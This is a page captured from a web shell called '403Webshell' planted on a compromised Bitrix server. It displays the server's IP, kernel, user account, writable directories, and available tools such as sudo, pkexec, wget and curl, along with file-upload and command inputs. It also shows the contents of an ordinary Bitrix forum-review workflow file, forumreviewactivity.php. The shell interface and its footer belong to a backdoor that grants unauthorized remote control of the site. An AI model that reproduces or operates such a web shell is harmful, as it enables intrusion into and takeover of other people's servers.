403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/activities/bitrix/forumreviewactivity/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/activities/bitrix/forumreviewactivity/forumreviewactivity.php
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

class CBPForumReviewActivity
	extends CBPActivity
{
	public function __construct($name)
	{
		parent::__construct($name);
		$this->arProperties = array(
			"Title" => "",
			"IBlockId" => "",
			"ForumId" => "",
			"ForumUser" => "",
			"ForumPostMessage" => "",
		);
	}

	public function Execute()
	{
		if (!CModule::IncludeModule("forum"))
			return CBPActivityExecutionStatus::Closed;
		if (!CModule::IncludeModule("iblock"))
			return CBPActivityExecutionStatus::Closed;

		$forumId = intval($this->ForumId);

		if ($forumId <= 0)
			return CBPActivityExecutionStatus::Closed;

		$rootActivity = $this->GetRootActivity();
		$documentId = $rootActivity->GetDocumentId();

		$iblockId = $this->IBlockId;

		$dbResult = CIBlockElement::GetProperty($iblockId, $documentId[2], false, false, array("CODE" => "FORUM_TOPIC_ID"));
		$arResult = $dbResult->Fetch();
		if (!$arResult)
		{
			$obProperty = new CIBlockProperty();
			$obProperty->Add(
				array(
					"IBLOCK_ID" => $iblockId,
					"ACTIVE" => "Y",
					"PROPERTY_TYPE" => "N",
					"MULTIPLE" => "N",
					"NAME" => "Forum topic",
					"CODE" => "FORUM_TOPIC_ID"
				)
			);
			$obProperty->Add(
				array(
					"IBLOCK_ID" => $iblockId,
					"ACTIVE" => "Y",
					"PROPERTY_TYPE" => "N",
					"MULTIPLE" => "N",
					"NAME" => "Forum message count",
					"CODE" => "FORUM_MESSAGE_CNT"
				)
			);

			$dbResult = CIBlockElement::GetProperty($iblockId, $documentId[2], false, false, array("CODE" => "FORUM_TOPIC_ID"));
			$arResult = $dbResult->Fetch();
		}

		$forumTopicId = intval($arResult["VALUE"]);

		$arForumUserTmp = $this->ForumUser;
		$arForumUser = CBPHelper::ExtractUsers($arForumUserTmp, $documentId, true);

		$forumUserId = 1;
		$forumUserName = "Admin";
		if ($arForumUser != null)
		{
			$forumUserId = $arForumUser;
			$dbResult = CUser::GetByID($forumUserId);
			if ($arResult = $dbResult->Fetch())
			{
				$forumUserName = CUser::FormatName(COption::GetOptionString("bizproc", "name_template", CSite::GetNameFormat(false), SITE_ID), $arResult, true);
			}
		}

		$newTopic = "N";
		if ($forumTopicId <= 0)
		{
			$documentService = $this->workflow->GetService("DocumentService");
			$document = $documentService->GetDocument($documentId);
			$newTopic = "Y";

			$arFields = array(
				"TITLE" => $document["NAME"],
				"FORUM_ID" => $forumId,
				"USER_START_ID"	=> $forumUserId,
				"USER_START_NAME" => $forumUserName,
				"LAST_POSTER_NAME" => $forumUserName,
				"APPROVED" => "Y"
			);
			$forumTopicId = CForumTopic::Add($arFields);
			CIBlockElement::SetPropertyValues($documentId[2], $iblockId, $forumTopicId, "FORUM_TOPIC_ID");
		}

		$arFields = array(
			"POST_MESSAGE" => $this->ForumPostMessage,
			"AUTHOR_ID" => $forumUserId,
			"AUTHOR_NAME" => $forumUserName,
			"FORUM_ID" => $forumId,
			"TOPIC_ID" => $forumTopicId,
			"APPROVED" => "Y",
			"NEW_TOPIC" => $newTopic,
			//"PARAM1" => "IB",
			"PARAM2" => $documentId[2]
		);
		$forumMessageId = CForumMessage::Add($arFields, false, array("SKIP_INDEXING" => "Y", "SKIP_STATISTIC" => "N"));

		return CBPActivityExecutionStatus::Closed;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit